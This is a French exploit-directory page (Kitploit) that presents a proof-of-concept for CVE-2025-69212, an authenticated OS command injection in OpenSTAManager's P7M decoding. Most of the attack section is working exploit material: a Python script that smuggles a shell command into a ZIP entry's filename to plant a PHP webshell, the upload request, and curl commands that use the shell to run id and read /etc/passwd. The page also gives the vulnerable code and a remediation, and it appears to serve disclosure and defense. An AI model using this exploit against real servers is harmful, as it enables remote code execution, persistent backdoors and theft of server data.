Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-69212 — Exploit proof-of-concept pour CVE-2025-69212 : injection de commandes OS dans le traitement des fichiers P7M d'OpenSTAManager, permettant une exécution de code à distance authentifiée via un téléchargement de ZIP malveillant. | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2025-69212
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

Exploit proof-of-concept pour CVE-2025-69212 : injection de commandes OS dans le traitement des fichiers P7M d'OpenSTAManager, permettant une exécution de code à distance authentifiée via un téléchargement de ZIP malveillant.

Voir le dépôt
415il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-69212 : OpenSTAManager présente une injection de commande OS dans le traitement de fichiers P7M

Aperçu

ChampDétails
ID CVECVE-2025-69212
GravitéCRITIQUE
AvisVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • devcode-it/openstamanager (versions : <= 2.9.8)

Classification CWE

  • CWE-78 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS ('Injection de commande OS')

Détails

Résumé

Une vulnérabilité critique d'injection de commande OS existe dans la fonctionnalité de décodage de fichiers P7M (XML signé). Un attaquant authentifié peut télécharger un fichier ZIP contenant un fichier .p7m avec un nom malveillant pour exécuter des commandes système arbitraires sur le serveur.

Code vulnérable

Fichier : src/Util/XML.php:100

public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

Le problème :

  • Le paramètre $file est passé directement à exec() sans assainissement
  • Bien qu'il soit entouré de guillemets doubles, un attaquant peut les échapper
  • Le nom de fichier provient des archives ZIP téléchargées (contrôlées par l'utilisateur)

Vecteur d'attaque

Points d'entrée :

  1. plugins/importFE_ZIP/actions.php:126 (lorsque l'import automatique est activé)

    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (constructeur)

    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

Déroulement de l'attaque :

  1. L'attaquant crée un ZIP avec un nom de fichier malveillant
  2. Télécharge le ZIP via le plugin importFE_ZIP
  3. L'application extrait le ZIP et itère sur les fichiers
  4. Pour les fichiers .p7m, decodeP7M() est appelé
  5. Le nom de fichier malveillant est injecté dans la commande exec()
  6. La commande arbitraire s'exécute en tant qu'utilisateur du serveur web

Preuve de concept

⚠️ NOTE IMPORTANTE : ZipArchive::extractTo() de PHP divise les noms de fichiers sur le caractère /. La charge utile ne doit PAS contenir de / dans les commandes. Utilisez cd directory && command au lieu de chemins absolus.

Étape 1 : Créer un ZIP malveillant

import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Étape 2 : Télécharger le ZIP

POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

Étape 3 : Résultat de l'exploitation

Réponse (l'erreur 500 est attendue - l'analyse XML échoue APRÈS l'exécution de la commande) :

HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Vérification - Webshell créé :

image

Étape 4 : Exécution de code à distance

Le Webshell est accessible publiquement sans authentification :

$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

Impact

  • Exécution de code à distance : Compromission totale du serveur
  • Exfiltration de données : Accès à toutes les données de l'application et à la base de données
  • Élévation de privilèges : Élévation possible si le serveur web s'exécute avec des privilèges élevés
  • Persistance : Installation de portes dérobées et maintien de l'accès
  • Mouvement latéral : Pivotement vers d'autres systèmes sur le réseau

Prérequis

  • Utilisateur authentifié avec accès à la fonctionnalité d'import de factures

Remédiation

Assainissement des entrées

public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

ou

Valider le nom de fichier avant le traitement

// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Crédit

Découvert par : Łukasz Rybak

Références

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

Avertissement

Cette CVE a été divulguée de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.

Télécharger l’outil